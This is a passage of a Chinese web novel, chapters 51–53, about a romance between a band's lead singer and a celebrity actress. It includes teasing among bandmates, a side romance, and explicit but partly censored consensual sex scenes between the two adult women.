狭窄空间裏被淡香填满,许风扰愣愣的,完全变成叫一句动一下的呆头鹅,只觉得手中的裙子轻薄脆弱,掌下的女人也纤细柔软,都得小心对待,短短片刻就冒出细汗。 而年长那位也不帮忙,站在原地仍由对方折腾。 长裙终于被穿上,连在脊背处的宝石流苏摇曳,将线条姣好的脊背半遮半掩,却没将那些暧昧红印掩盖,反倒越发惹人探寻。 “遮瑕,”柳听颂再一次提示。 “哦哦,”许风扰急忙收回视线,又伸手去抓那个拿起又放下的盒子。 鸭舌帽掉落在地,发出一声响,却无人理会。 没有经验的家伙还以为这是在抹药,指尖挖出厚厚一层,又被柳听颂无奈制止,轻声道:“宝宝,你是想让所有人都看出我在故意遮掩什么吗?” 她忍不住笑起,眼尾有春风停留,悬挂于耳垂间的宝石摇曳,打趣道:“也不是不行。” 许风扰说不出旁的,只能默默看她一眼,然后将指尖膏体去掉一半。 柳听颂忍不住笑,伸出双臂勾在她脖颈,不紧不慢道:“你这是在生什么气?这些是谁弄的?” “嗯”她拖长语调,尾音撩人。 “是谁把我压在落地窗前,又啃又咬的” 刚刚冒出的一点脾气就这样被压了下去,许风扰薄唇碾磨,愣是说不出一个字。 做是她做的,可要在这种地方反复提及,她就又不好意思了。 还能听到外头的声响,不知是谁做错了事,被当众大声喝骂,脚步声来来往往,很是匆忙。 而她们躲在这个狭窄的空间内,连灯光都有些灰暗,两人之间的距离被无限缩短,又克制地不敢靠近。 许风扰咬了咬牙,压着声音,试图警告:“别闹了,柳听颂。” “哦?”另一人才不怕她,看穿她在外头什么都不敢做的本质,掀开眼帘,饶有兴致地回望。 许风扰目光躲闪,只道:“你别太嚣张。” 不然晚上有柳听颂好看的。 可逗小狗这种有趣的事情,哪裏是想停下就停下的 就喜欢看着她脸红,一步步往后退,还得强撑着装出凶巴巴的理智模样。 可爱。 柳听颂笑盈盈地回道:“好嘛,不闹你了,涂遮瑕了好不好?” 像是退让了,又好像没有。 许风扰分不清了,只能乖乖听话。 冰凉的膏体落在红印上,还没有碾开,怀裏的女人就先颤了下,发出千回百转的声调,小声抱怨:“好凉。” 果真没停,只是换了个方法戏弄她而已。 许风扰不想理这人,迫切地想要将那些痕迹盖住,想快点结束这场漫长又无法靠近的撩拨。 那人也不阻拦,只在指尖落下时,哼出一声声短促的、无辜的、脆弱的,试图压抑却按捺不住的音调,像是刚出生的小兽含着人类的指尖,无助地吮吸。 许风扰甚至想抬手捂住她的嘴,又怕将她精心描绘的妆容弄花,只能哑着声音道:“别闹了柳听颂。” 她试图专注,盯着那些缭乱的痕迹,往日只知在爱人身上留下独属于自己的痕迹,是件极愉悦而满足的事情。 现在才明了,若亲手将那些痕迹遮掩,又是怎样的感受,就好像这些痕迹变成了只有她们两人能够知晓的隐秘。 镜头前的她,仍是璀璨夺目的大明星,镜头后的你清楚明了,她的脖颈、胸///乳、腰腹都是你小心涂抹遮掩后的痕迹。 不明显的喉管在反复吞咽中,变得清晰,反反复复上下滑动。 当最后一点痕迹被遮掩,指尖偏离。 莫名的愉悦就随之涌来,像将宝石掩埋进自己知晓的木匣裏。 许风扰抬头想要夸奖,那人却不肯第一时间检验成果,反倒伸手摘去她的眼镜,偏头吻来。 许风扰下意识退后一步,抵在墙面上,转头要躲,却被捧着脸,强势压回来。 “别……”她含糊出声,态度犹豫且警惕。 “不行。” 柳听颂自然知道她顾虑,指腹在下颌摩擦,低哑哄道:“外面没有人了。” 许风扰眼帘颤了下,像是意动。 柳听颂低笑,喃喃道:“宝宝你真的好可爱。” 怎么逗都不会生气,只会脸红着执行爱人过分的要求。 “等会记得提醒我补口红,”她这样说,吻随之落了下来,像是忍耐许久,所以省略了试探与轻触,直接撬开唇齿,与之深吻。 许风扰低着脑袋,抬手想要扣住对方的腰,又怕揉皱对方衣裙,只能垂在身侧,摩擦在深蓝牛仔裤上的裤缝间,拭去不断冒出的汗。 口红被晕开,舌尖纠缠,欲///念在唇间碾磨,却无法被彻底满足,只余下浅尝辄止的空///虚感受。 “等会不许再用那种眼神看我,”柳听颂哑着声开口。 许风扰不明所以,却无法回应,唇舌都被堵住,脊背靠在木板上。 “刚刚在采访的时候,我就想亲你了。” “你看起来好乖,像个摇着尾巴、大喊这是我的主人的小狗。” “乖宝,”她轻轻咬住许风扰的唇,温声呢喃:“等会不许看我了,我怕我忍不住想要亲你。” 她可怜央求:“想亲又亲不到,好难受啊。” 白发下的耳垂红得彻底,许风扰张了张嘴却不知道该说什么,无法面对这样的过分话语,仍由对方又贴近,继续亲了好半天,之后才轻轻将人推开,低声提醒道:“还有拍摄。” 柳听颂遗憾地再浅啄了几口,继而慢悠悠松手退后,随带还将之前摘下的黑框眼镜戴回原位。 “宝宝戴眼镜也好看,”她没有忘记夸奖一句。 许风扰只扶了扶眼镜,而后才道:“记得补口红。” 柳听颂就笑,柔声夸道:“好乖。” 许风扰将唇线抿成一条直线,没理她,自顾自去捡鸭舌帽,重新压在脑袋上。 等到气息稍缓时,两人才一前一后离开换衣间。 守在外头的梨子拿着手机,不知在拧着眉头看什么,听到声响后抬起头,就见许风扰的脸骤然红透。 这是、这是怎么了? 明明刚出来的时候还好好的啊 怎么看见她就红成这样了 梨子茫然地低头又抬头,难不成她偷偷建立Cp超话的事情暴露了? 不至于吧…… 才刚创立了三分钟而已啊,那么容易就被发现了 而另一边许风扰已追到柳听颂身边,暗暗骂了句:“大骗子。” 门外明明就有人! 她还说没有! 她又气又恼地想,今天的柳听颂真的太嚣张了!《 》 50-60 第51章 地下停车场 如她所言, 许风扰果真没再看柳听颂。 倒不是她听话,而是拍摄地点被放到了室外。 粉丝不知从何渠道收到消息,早早就聚在门外, 躲在棚中时还可以避开, 可出了门后就没办法制止了,只能让他们跟着, 之后在拍摄场地拉了条线,让粉丝隔着老远看着。 如此情况下,许风扰自然无法跟随, 半日的助理体验卡就这样不情不愿地结束, 自己回到酒店房间中, 抓着三斤玩了好一会,才想起昨儿写出的谱子。 幸好昨夜不算太累, 甚至在难以缓解的亢奋下, 使她将一片狼藉的地面清理干净, 顺带还将那几张纸也收到桌面上, 不然今儿必然会被保洁当做鬼画符扫出去。 不过…… 许风扰坐到床边, 单手捏着那几张纸页, 垂眼凝视着被水晕开的铅笔痕迹。 昨夜没下雨, 淋湿纸页的另有其人。 许风扰有些想笑,又用掌心压住唇角,即便对方不在,也很努力地给对方留了点面子。 反倒是旁边的缅因不知趣,看似轻盈,实际无比沉重地跳上床, 趴到许风扰腿边后就要凑上去嗅,也不知是在好奇许风扰拿着什么, 还是闻到另一人的味道。 一向惯着猫的许风扰没给它靠近,扣着大猫脑袋就往另一边偏。 三斤自然不乐意,若是那么乖巧就不是猫了,不满地喵喵叫了两声,又想贴过来。 许风扰只好板着脸,认真劝道:“这不是小猫能闻的。” “喵!”三斤才不听,越被阻拦越好奇,伸出大爪子开始往前薅。 许风扰就抓住它的爪子,捏了两下又道:“你这样闻来闻去,她会害羞的。” “喵。” 大猫听不懂,大猫只知道人类越不给它做什么,它就越要做什么,一只爪子被抓住,它就伸出另一只爪子,满眼都是对乐谱的渴望。 不知想起了什么,许风扰随即拿出手机、打开相机,对着猫咪和稿纸就连拍几张,然后通通发给另一个人,并配文【三斤想妈妈了】 其余都没说,她相信柳听颂会懂,先前在更衣室裏吃的亏,又被她换了种方式欺负回去。 想到此处,许风扰心情大好,就连那点不能继续跟随的怨气都散去,一把按住即将就要靠近纸页的猫头,乐谱被放得更远。 “喵!”只差一点点的三斤气得直叫。 许风扰却一把将它抱起,笑眯眯就道:“都说了这不是小猫该闻的东西,走,小妈带你吃猫条去。” 听到熟悉字眼,缅因耳朵一动,哪裏还记得什么纸,瞬间就缩起大爪子,老老实实被许风扰抱着往外头走。 片刻之后,愉悦的呼噜声响起。 ——— 当熟悉的消息提示音响起,通宵赶稿的莫岱反应迟缓,甚至开始怀疑是不是自己太累,所以出现了幻听,不然怎么会听到燃陨乐队视频更新的提示音。 自那天许风扰发完翻唱后,其余三人也先后发完视频。 按照往常规律,起码也要再等个七八天,才会再有新的视频出现,可现在怎么就…… 想到这裏,莫岱默默扯紧被子,盖住脑袋。 死脑快睡快睡,幻听都出现了,离猝死是真不远了。 可不知怎的,之前眼皮都要黏在一块的人,现在竟翻来覆去地睡不着了。 她痛苦挣扎了半天,最后猛的坐起,就算是幻听,也得看看是不是真的吧! 她下定决心,一把抓住手机,随着屏幕亮起,瞳孔也随之放大。 竟然真的不是幻听! 她心裏是既激动又后悔,来不及多想就急忙点进视频,却只见到一片漆黑,若不是有弹幕飘,她还以为自己手机出了问题。 可这一片黑是什么意思 是许风扰一不小心发错了 正当莫岱疑惑不解时,扬声器中忽有海浪声响起,继而响起许风扰的声音,没有任何歌词,只是伴随着海浪拍打沙滩的声音,轻声哼着。 作为燃陨乐队的忠实粉丝,莫岱自然可以轻松分辨得出,这调子不属于燃陨乐队之前的任何一首歌,甚至与以往风格都相差甚远。 若说燃陨乐队之前的曲风,是阴郁的控诉、对囚笼的挣扎,那现在这调子就显得清新干净,让人联想到晨起的薄雾、少年人奔向心上人的雀跃脚步、忐忑又带着青涩的期盼。 视频只有短短废十五秒,在循环中一遍遍播放,即便瞧不见脸,也能感受到许风扰此刻的欣然。 莫岱突然沉默,也不是不喜欢,事实上这个调子很不错,但还是有一种难以言喻的感受涌出,就好像看着自家酷得不行的杜宾,突然开始穿起粉红色公主裙、跳起求偶舞一样,理解归理解,情绪复杂归情绪复杂。 正当此时,上次和莫岱一起逛街的朋友连发几条消息过来。 【你喜欢的那个乐队的主唱又更视频了!!!】 【这次调子好欢快啊!】 【我感觉我有点get到许风扰,上次那首翻唱,我回去之后循环了一个星期!简直不要太苏,她真的太会唱了!】 【我觉得她现在肯定是恋爱了,上一次V博热搜就出现的莫名其妙,那么多人说她恋爱了,却连一张实锤照片都没有,害我翻了半天,差点交钱进了什么资源群】 【不过这姐真的一点不装,又是翻唱情歌又是亲自谱曲的,感觉过两天就能看见官宣照片了,评论都在问她是不是要在同一天发歌官宣,她们搞乐队的可太会了】 消息一条接着一条,往日只要见到朋友提起就会无比兴奋的莫岱,突然哑然,不知道该说什么好。 【对了,她的文案上写了新歌预告,这是马上就要发的意思吗?我记得她和柳听颂的那首歌还没填词吧?会不会一起发啊……】 【好爽啊,刚入坑就有一堆新歌听】 这话落下,莫岱眼睛瞬间一亮。 对!新歌! 谈恋爱好啊,谈恋爱真好,谈恋爱就有一堆新歌听了! 在昏昏沉沉中,她勉强回了朋友几句,继而就手握着手机,在循环的哼唱中,慢慢闭上眼。 ———— 而另一边,燃陨乐队的群通话亮起。 楚澄乐得不行,连声打趣道:“哟,我们什么时候就要发新歌了?” “怎么也没个人通知我啊,难不成你们三背着我偷偷有小群了?” 况野闷声否认:“我不知道,反正我不在裏面。” 纪鹿南笑着重复:“我也不知道,我也不在裏面,可能是阿风自己有一个群,把我们全孤立了吧。” 另一边的许风扰不出声,手打方向盘,倒入地下停车场的车位后,便拉下手剎、熄火,再拍了张照片给一直不回复的某人,动作一气呵成,面色如此,看不出一点逃避的样子。 楚澄怎么可能轻易放过她,当即接过话茬,就道:“哎呀那歌甜的哟,我今儿喝牛奶都不用加糖了。” “不愧是恋爱中的人能写出来的东西,以后我们乐队终于可以不再一脸苦大仇深,看粉丝像看仇人一样,哎哎哎,我记得之前是不是有那种泡泡枪,等我们下回演出的时候买一个,保准飘满粉红泡泡。” 纪鹿南接上:“可以,还能带昭昭过去玩玩。” 况野表达得含蓄,只闷声道:“我觉得她可能会喜欢。” 楚澄:…… 不知道为什么,明明是三个人打趣一个人,她却有一种被三个人孤立的感觉。 许风扰终于开口:“刚刚在开车,不方便说话。” 解释后又道:“这曲子刚写两天,我觉得很不错就先发出去了。” 即使众人关系再好,楚澄她们也理解许风扰此刻的欢喜,但许风扰还是解释了一句,并道:“而且,偶尔换一换风格也不错,你们觉得呢?” 楚澄当即就笑出声,连忙揭穿道:“哦~偶尔换换风格啊~” “我怎么记得之前有一次,阿金劝我们改改曲风,写两首小情歌,迎合一下市场时,谁的脸黑得像块煤炭一样。” 她突然加快语气,急忙喝道:“小野你不许说话!你当时的脸比阿风还黑!好像谁敢逼你唱情歌,你就要从窗臺跳下去一样。” 当时坚决不同意的许风扰、况野:…… 纪鹿南笑眯眯地补刀:“哎呀呀,我还以为我这辈子都出不了情歌了,为此还遗憾了好几天呢。” 她突然掐着嗓子就喊:“太好了,是恋爱脑,我们的情歌有救了。” 许风扰、况野:…… 况野憋不出什么话,最后还得许风扰张嘴,试图将调侃掀过,直接道:“既然大家都没有意见,那等我回去就开始排练。” “啧啧,这有了爱情就是不一样,连写歌都快了,”楚澄开启阴阳怪气模式。 纪鹿南也接道:“那么急?你真要过两天就官宣?” 比她们更早看见评论的许风扰:…… 她语气无奈又犹豫:“没、没有吧。” 在这事上,她倒没有什么顾虑,连和家裏出柜这一步都省了,没人理会她,也没人能管她,粉丝就更别想了,她们又不是什么爱豆,更没有什么禁止恋爱条例。 再说了,现在粉丝接受能力都挺高的,只要不是劈了七八条腿、突然有个孩子,或者找个没钱没本事还会PUA的丑东西,其实大部分粉丝都能尊重祝福。 另外,要是她们知道许风扰的恋爱对象是柳听颂,大抵只会觉得许风扰吃得太好了,然后暗戳戳发消息,勒令许风扰对嫂子好点、再好点,可千万不能把她们的好嫂子放跑了。 思来想去,反倒是柳听颂那边的问题比较复杂。 不过官不官宣都无所谓,许风扰也不是非要强求这些,早在五年前刚恋爱时就做好了准备。 那时两人间的差距更大,完全可以叫做当红天后和她的素人女友,甚至许风扰还是个没毕业的大学生,逃不过恶意揣测,不用实践就知道会有多少闲言碎语,所以两人都不曾主动提起过这个,以至于现在都将这事忽略,若不是楚澄她们提起,她还真不会考虑到这些。 “等我过段时间问问她,看她怎么想,”许风扰如此说道。 楚澄等人也知此事麻烦,倒也没有多说什么,索性将话风一转,当即又道:“你之前是要开车去哪?” 她们本来只是想在群裏聊聊,结果许风扰忙着开车,便打了群通话。 “接她,一起去吃饭,”许风扰言简意赅,却带着几分笑意。 这让燃陨三人好一阵哑然,说她恋爱脑,她还真乐在其中。 正当此时,有人匆匆走来,拉开车门后就往裏。 许风扰下意识放下手机,便道:“结束了?” 来人正是柳听颂。 她点了点头,便解释道:“周围粉丝太多,我不想让她们白等,就出去和她们打了声招呼。” 许风扰很理解。 柳听颂又道:“梨子他们已经开车离开了,我们等人散后再出去。” “行,”许风扰答应,刚准备说自己在和燃陨她们打电话,却被柳听颂抢先一步问道:“今天你给我发了什么?” 原来不是没看见,是看见之后不知道怎么回,索性留到现在算账。 又想到那几张纸,许风扰眼中有笑意闪过,却装得正经:“对啊,小猫想你了。” 柳听颂被气笑,忍不住抬手掐住她的脸,原本想凶两句,可话到唇边,又变作毫无威慑力地嗔怪:“你怎么那么坏啊?” “坏东西。” 许风扰讨好似的笑,偏头蹭了蹭她的手,那毫无力度的掐就变成捧着。 “坏狗。” 柳听颂拿她没办法,看穿了这人的坏心思,却又舍不得说,双手如同捧着家裏那只胖猫般,晃了晃她的脑袋就算是惩罚结束。 “下次不许了,”她试图拿出最后一丝年长者的威严。 可另一人却无赖,白毛脑袋还搁在人家手裏,却装成无辜模样,眨了眨眼就道:“这好像不是我可以控制的,要不你下次努努力” 柳听颂说的是这件事,她偏往另一件事上扯,偏偏柳听颂还听得懂。 气得柳听颂要咬她,黑框眼镜又被取下,丢到另一边,那人从副驾驶探身而来,跨坐在许风扰腿上,捧着脸就要咬住她的唇。 “还敢不敢了?” 明明连个咬痕都没有,她却摆出一副威胁人的态度。 许风扰轻笑出声,手往侧腰一勾,将人往她怀裏压,低头在她耳边道:“你现在就可以试一下能不能控制住。” 柳听颂扯住她衣领,便想要再咬,却被许风扰先一步撬开唇齿。 “唔……”她发出含糊一声,还没有来得及反抗,便听见被丢到一边手机发出冷硬的机器女声。 【况野离开群语音】 【纪鹿南离开群语音】 【楚澄离开群语音】 柳听颂骤然僵住,许风扰眨了眨眼,这一次是真的无辜:“我本来是想告诉你的,但是你忙着罚我……” 她拖长语调,视线上上下下,看着跨坐在自己腿上的柳听颂,继而接道:“我就忘了。” “不过没事,”她话锋一转,就笑道:“现在是真的没有人了,姐姐。” 前头被柳听颂戏弄的那一遭,现在是彻彻底底还回来了。 柳听颂的耳垂一下子红透,没办法继续刚刚的事,急忙去拿许风扰的手机,抵在她面前就道:“解锁。” 她必须得看看群裏在说什么。 已被调侃出经验的许风扰欲言又止,想叫她不要看了,可柳听颂态度坚决,她只好抬手解锁。 果不其然,楚澄三人果真在疯狂刷屏,短短就冒出99+。 具体内容为: 楚澄:【坏狗~~坏东西~~你怎么那么坏~~】 纪鹿南:【下次敢不敢了~小猫想你了~】 就连况野都不甘落后:【下次不许了哦~】 【坏狗~坏东西~你怎么那么坏~】 【下次敢不敢了~小猫想你了~】 【下次不许了哦~】 三个人就这样来来回回复制贴贴,屏幕裏全是两人之前的对话和波浪号。 “许风扰!” 这下就真的恼了,连名带姓就喊出。 许风扰忍不住笑出声,在对方恼怒前就先压住对方脖颈,仰头就往唇边贴,之前被打断的吻又被继续,只是这一次柳听颂才不惯她,终于狠下心重重咬了一口,可下一秒就被从衣尾探入的手解开扣子。 “试一试,嗯” “看看这次能不能控制得住?” 柳听颂来不及说话,松开的裏件就有人趁机而入,拢住圆弧。 “姐姐别咬,疼,”有人轻嘶了声,含糊着声音撒娇,可她本身在做的事,却比另一位要过分得多。 “起来点,不好动,”她这样说着,甚至拍了拍对方的腿。 怀裏那位又气又恼,却还是勾着对方脖颈,勉强撑起自己。 “坏狗。” 刻意压低的喘息在狭窄车厢内回响,另一人不回答,只是水声更重。 第52章 宝宝,这次还要老师教吗 群语音被挂断, 聊天界面重复着同样的话语,哪怕是寡淡如况野,也忍不住以拳抵嘴, 闷闷发笑。 惹得旁边人的注目, 将视线长久停留在她的身上。 等况野回过神,才后知后觉抬起头, 手足无措地解释道:“对不起、我刚刚有点事。” 同样的道歉已经重复过两遍,第一遍是突然被通知要发歌的茫然,只能向旁边人道歉, 暂时将她忽略, 第二遍则是现在, 她在看向自己时,唇边的笑意消失, 换作些许慌张。 那人表情淡了些, 看向远处, 说了声:“没事。” 况野上前一步, 站在她身边, 直觉感到不对, 又一次开口道:“抱歉抱歉, 我真的不是故意的。” 第三次了。 她们此刻站在半山腰的观景臺上,近处林叶遮映,远处高楼层迭,天边是烧得正烈的云,忽有晚风吹来,掀起一阵清凉。 被捏在虎口的可乐罐弹起气泡, 本冰凉液体掉落在舌尖,掀起略微刺痛的甜腻感受。 况野不知所措站在旁边, 像个不会讨好人的笨狗。 乔笙余光一瞥,突然就问:“你好像特别喜欢和我道歉。” 况野没能反应过来,呼吸间,那纹着喉窝间的绯色蝴蝶起起伏伏,像某种隐晦的邀请。 乔笙抬起手,示意手中可乐罐,就到:“谢谢你今天带来的可乐。” 况野下意识回:“不用谢……” 话还未说完,乔笙就打断道:“谢谢你今天约我跑山。” “谢谢你昨晚送我回去。” “谢谢你昨晚等我那么久。” “谢谢你借我和我朋友的卡。” 哪怕是反应迟钝的况野,也察觉到了对方的不对劲,连忙出声道:“你怎么了?生气了?” 她急忙补充:“你为什么要和我说那么多谢谢?” 另一人就抬眼瞧她,顺着她的话道:“那你为什么要和我说那么多对不起?” 原来问题出在这裏 况野寻找到了答案,又陷入更深的困惑中,明明昨夜的相处还很愉快,她们一起骑了车,互相分享了喜欢的歌,并约定了今天再一起跑山。 明明情况已经往好的地方发展,又突然急转直下,就好像她们那场没头没尾的恋爱。 况野呆头呆脑地站在原地,得不出答案也不知道怎么办,之前一个酷得不行的家伙,愣是变成了木头,说不出一句话。 乔笙瞧着她,突然又笑起,一双狐貍眼透着熟悉的狡黠。 她往前,向况野走了一步。 况野下意识想要往后,可又立马反应过来,将往后的右腿僵住。 那人抬起手,被捏在不同手裏的两瓶可乐罐撞在一起,发出“嘭”的一声,褐色液体摇曳,气泡声明显。 她笑着说:“干杯。” 况野就接:“干杯。” 夕阳的余晖落在她发梢,将发丝变成耀眼的金色,像是狐貍的毛发。 况野挪开视线,低头抿住一口甜腻的可乐,还没有来得及咽下,那人便突然凑到她眼前,金色发丝滑过她脸颊,鼻尖相碰,几乎要亲上。 况野不由抿紧唇角,冰凉的液体被捂在舌头中。 她笑盈盈道:“你是不是想要追我?” 可乐还含在嘴裏,况野没能回答,但也不需要回答,那人早早就知晓了答案。 可乐被咽下,随着喉管滑落,那绯色蝴蝶也跟着扇了扇翅膀,乔笙视线跟随,最后落在喉窝处,不曾停留便往上,看向况野垂落的眼眸。 总是笑着的眼睛写满况野不能理解的情绪,如同现在这般,只隔着一毫米,却始终无法靠近的唇。 “那我给你个机会好不好?” 况野眼睛亮了亮,却在对方的下一句落下时,无声暗淡了下去。 她说:“找到我们上一次分手的原因。” 话毕,她不曾停留,站直后就转身,只留下一句:“在没有找到答案前,你就不要来找我了……” 风吹走剩下的话,只剩下摩托车的轰鸣声。 况野僵在原地好一会,才偏头看向远处的火烧云,此刻正是最浓烈的时候,层云堆积,泛起深深浅浅的红,可惜她无心欣赏,躲在海城中的两人也没空理会。 因许久无声,停车场内的灯光彻底熄灭,只余下灰蒙蒙的黑,稀薄的光束从出口钻入,还没有来得及往前就被吞没。 温度攀* 升的车厢裏,有人抬手压住车窗,印出完整掌纹,那不算清晰的纹理连线条都算稀少,还没有来得及看清,又被往下落的手擦去。 那些被自己亲手涂抹遮掩的痕迹,又在细碎的吻中露出些许。 不过很快,柳听颂就抬手捂住她的嘴,低声怨了句:“别、脏。” 指腹拭过对方唇角,将沾染的东西抹去。 因跪坐的缘故,她比许风扰高了些,便低头垂眼,被情///欲浸染的眼眸,黑与白的界限模糊,晕出桃花雾般的绯色,不轻不重地嗔怪:“什么脏东西都敢舔,也不怕等会肚子疼。” 惯用的称谓到了唇边,却不像之前说得那么轻易,只能换成其他。 “傻狗。” 许风扰清楚她的犹豫,唇边的笑意更深,多了几分促狭。 此刻不用说别的,柳听颂自个就能想起之前的事,耳垂的红一直没消,甚至还有更浓的趋势,像是日光下的晶莹石榴,红得透明。 许风扰不曾遮掩视线,看得柳听颂羞恼,之前落在唇角的手,又往上捂住她的眼睛。 “不准看,”她声音上扬地斥道。 被挡着视线的许风扰也不着急,下颌稍抬,白发扫过柳听颂手背,分明已遮去最会蛊惑人心的碧色眼眸,却仍被沾染水光的唇吸引,在那圆润唇珠上,还有柳听颂之前留下的淡淡牙印。 她扬起漫不经心的笑意,只道:“你管她们做什么你又不知道她们都是爱闹腾的脾气。” “再说了,只是亲一口而已,又没有做什么,”她试图宽慰,却忘了前些时候她开门瞧见梨子的羞窘。 “要不然我现在就去警告她们,让她们不准再提?”她提出建议。 这就有点过分霸道了。 许风扰见她不答,又说:“那我去把她们通通解决了?你知道只有死人才能……” 越说越离谱,捂住眼眸的手又垂落,扇向对方侧脸,将未说完的话彻底打断。 其实力度不重,说是扇还不如叫拍,许风扰的脑袋都没偏一下,只是有些从未经历过的茫然。 她还没有来得及反应,那人就又低声斥道:“闭嘴。” 竟把柳听颂气到这种地步。 许风扰哑然失笑,刚想说些什么,就被贴过来的人压着后脑,用另一种方式堵住喋喋不休的嘴。 这方式果真比其他方式更有用,阔噪的声音终于消失,换作带着水声的吮///吸。 柳听颂呼吸更重,几乎支撑不住,却还得强撑,温凉的手抚过对方脸颊。 打的人是她,现在心疼的人也是她。 而怀裏那位,明知她不好受,还故意偏了偏脑袋,有意将被扇的脸露出出来,惹得年长那位更加愧疚,越发退让。 旧痕未消,又添新图。 明明已经留下,那人还故作贴心道:“明天还要拍摄吗?” 指腹抚过她脸颊,将几乎不存在的刺痛抹去,化作微痒的感受。 那人声音更柔,回道:“没有……唔、” 话还没有说完就被打断,覆在脑后的手不由收紧,低喘道:“别、别咬,” 她呼吸稍顿,又道:“明天穿衬衫、” 前一句话是阻拦,后面一句却是隐晦的纵容。 许风扰自然明了,不仅没有松开,反倒越发过分,舌尖包裹桃尖,碾压又勾起。 同时,揽住对方腰肢的手也不得闲,带着厚茧的手摩擦在细腻腰腹,欲往下又不肯。 不上不下最难挨。 另一位被撩拨得难受,不由扯着她的手腕就想往下。 可另一人不肯,还埋着她怀裏撩拨,闷闷却道:“不干净。” 柳听颂有些迟缓,没反应过来对方在说什么。 那人又哑着声道:“没带东西。” 柳听颂终于明了。 这家伙也是过分,明明什么都没带,还故意如此。 柳听颂忍不住垂眼瞪她,那人却厚着脸皮抬起脑袋,下巴还抵在柔软处,坦然与之对视,嚣张得不行。 “烦人东西,”柳听颂又气又怨,下一句却道:“包裏有。” 许风扰显然一愣。 那人耳垂更红,偏头躲开视线,只含糊道:“上次、上次之后就带着了。” 上次…… 记忆回到酒醉时,柳听颂央着她、求着她,却以东西还在另一个房间、而她不想去拿的理由拒绝,最后只得…… 许风扰从茫然到恍然,骤然笑起道:“那时候就开始随身携带了?” 她拖长语调,感嘆的语气带着不曾遮掩的调侃:“我们听颂老师怎么那么聪明啊。” 另一人不答,这次是真的想找个地方躲进去,又想故技重施,堵住对方的嘴,却被对方扣住腰,往前不行,往后又压回。 “别闹、”许风扰声音更哑,又道:“翻出来给我,好不好?” 另一人能如何 还不是由着她。 包裏的东西被翻找,小包的湿纸巾被取出,拆开之后就有人拿出,将许风扰的手小心擦拭。 许风扰能嚣张成这样,当真和柳听颂脱不了半点干系。 “好姐姐……”那人恶劣,靠在她怀裏,连配合都没有,就懒洋洋地盯着看,让对方拆开又为她套上。 “坏狗。” 塑料壳连同湿纸巾一并被丢在旁边。 明明一切都如她意了,她却又不肯动了,低头埋在对方怀裏,就是不说话,比刚刚还要过分。 “乖,”柳听颂不晓得她又在生气什么,只得央求。 “宝宝?” “乖宝,”她声音更柔,指尖抚过对方脸颊、耳垂又落在脑后。 曲折的腿发着颤,被拉扯往下的裤子虚挂在一半,露出些许细腻肌理。 不知是谁路过,周围的灯又亮起。 “宝宝,”她捧着许风扰的脸颊,吻在她唇边,轻轻央求:“不闹了好不好?” “嗯”暗哑的声音掺着情///欲,如同小小银鈎。 “怎么了,宝宝?” “告诉我,好不好?” “你说我烦人,”许风扰终于开口,咬住她的唇,明明没有生气,却要故作委屈:“你嫌我。” “没有,”柳听颂由着她咬,只在对方松开时又贴上去,留下细碎的吻,温声哄道:“是我说错话了,对不起宝宝。” “你不烦人,怎么会烦人呢?” 呼吸交替,近在咫尺的女人晕花了妆,却越发艳妩,水光破碎的眼眸倒映着许风扰的面容,柔软又眷恋。 “乖乖,”她一遍又一遍地喊,泛着水光的唇瓣不断落在唇角,贴在脸颊,细细吻过形状漂亮的下颌线,像是在对待视若珍宝的易碎白瓷。 “我最喜欢你了,”她这样说,微颤的眼睫扫过对方脸颊,掀起密密麻麻的痒。 “宝宝喜不喜欢今天那套裙子?” 许风扰抬了抬眼,疑惑看向她。 “我买下来了,等会回去穿给你看,好不好?”她捧着对方脸颊,与之额头相抵。 她轻声道:“我觉得你会喜欢。” 早在更衣室中,她便注意到了许风扰的视线停留。 “这次不用担心其他,你想拽住也行、撕开也可以。” 不用再害怕揉皱,将手垂落在身侧。 她无可奈何地嘆息道:“本来是想给你个惊喜,还让梨子偷偷带回去。” 她揪住许风扰的耳垂,毫无力度地一扯,又嗔道:“你怎么能那么坏啊。” 温柔如水的语调,分外撩人。 许风扰抿了抿唇,还没有来得及说些什么,那人就拽住她的手腕,往下扯。 她说:“宝宝,这次还要老师教吗?” 许风扰没有说话,只是拍了拍对方的腿,哑声道:“起来点,不好动。” “坏狗。” 窸窣的布料声响,瘦削脊背不禁往后靠,抵在方向盘上,逃无可逃,想要夹紧,又被对方阻拦。 灯又一次熄灭,只剩下不算清晰的灰。 凌乱衣衫半遮半掩,即便极力咬住下唇,也有细碎声音洩出。 腰腹起伏、收紧、止不住的战栗。 水打湿布料,染上深色痕迹。 直到那人彻底支撑不住,落入许风扰怀中,又柔又弱地哼着:“宝宝、宝宝。” 许风扰咬住她的脸颊,像是不满足后的洩愤。 “柳听颂,我刚刚订了家很不错的餐厅。” “嗯?”柳听颂有点疲倦,连声音都变得细微。 “餐厅旁边的沙滩也很漂亮,”她在对方脸颊上留下明显的牙印。 “我原本打算吃完饭后,我们一起去沙滩散个步。” “嗯?”柳听颂有些困惑,却强撑道:“那我们现在过去?” “不,我们回酒店,”她这样说,语气坚定,不容置疑。 “我饿了。” “想吃你。” 第53章 S大校庆 海城的三日之旅匆忙, 柳听颂白日裏忙工作,晚上又被许风扰折腾,除了拍摄外, 竟一次都没去过海边, 在恍惚中,一行人便已回到S市。 一连半个月的雨, 将这座城市淹没在初秋的萧瑟中,满街的梧桐树都染上橙黄。 就在这样的凄冷中,S大的校庆终于开幕。 帆布鞋碾碎潮湿落叶, 有人刻意绕过喧闹大门, 往人烟稀少的侧门裏入, 偶有诧异视线扫来,还没有来得及反应, 就见她轻车熟路地绕进小路, 转眼就消失在路口。 只余下满脸疑惑的学生, 吶吶道:“那个是燃陨乐队的主唱” “好像是吧……许风扰不也是从咱们学校毕业的吗, 可能是来参加校庆”旁边的同学随之回应。 那人顿时一拍大腿:“那燃陨乐队都会来我天, 怎么没有人说过, 她们乐队的票可难买了, 不行,我得想办法进礼堂。” 话毕,她也不管身边同学,快步就往别处去。 已将这一切抛在身后的许风扰,自然无法得知这些,她连绕过几个教学楼, 便走到一处被爬山虎覆盖的低矮仓库门前。 那是S大先前用以堆积杂物、后头又交给各社团,作为活动室的地方, 而如今当红的燃陨乐队就是从此成立,从这儿走向舞臺。 思绪落到此处,碧色眼眸闪过怀念之色。 再抬眼看去,那些紧锁的仓库门上,还有半褪色的彩色涂鸦,没什么特别的意思,在纪鹿南不知从哪裏提来几瓶喷漆后,上头的图案就越来越多,乱七八糟的字母、简单的火柴人还有不知所云的汉字,拼凑出杂乱的图画。 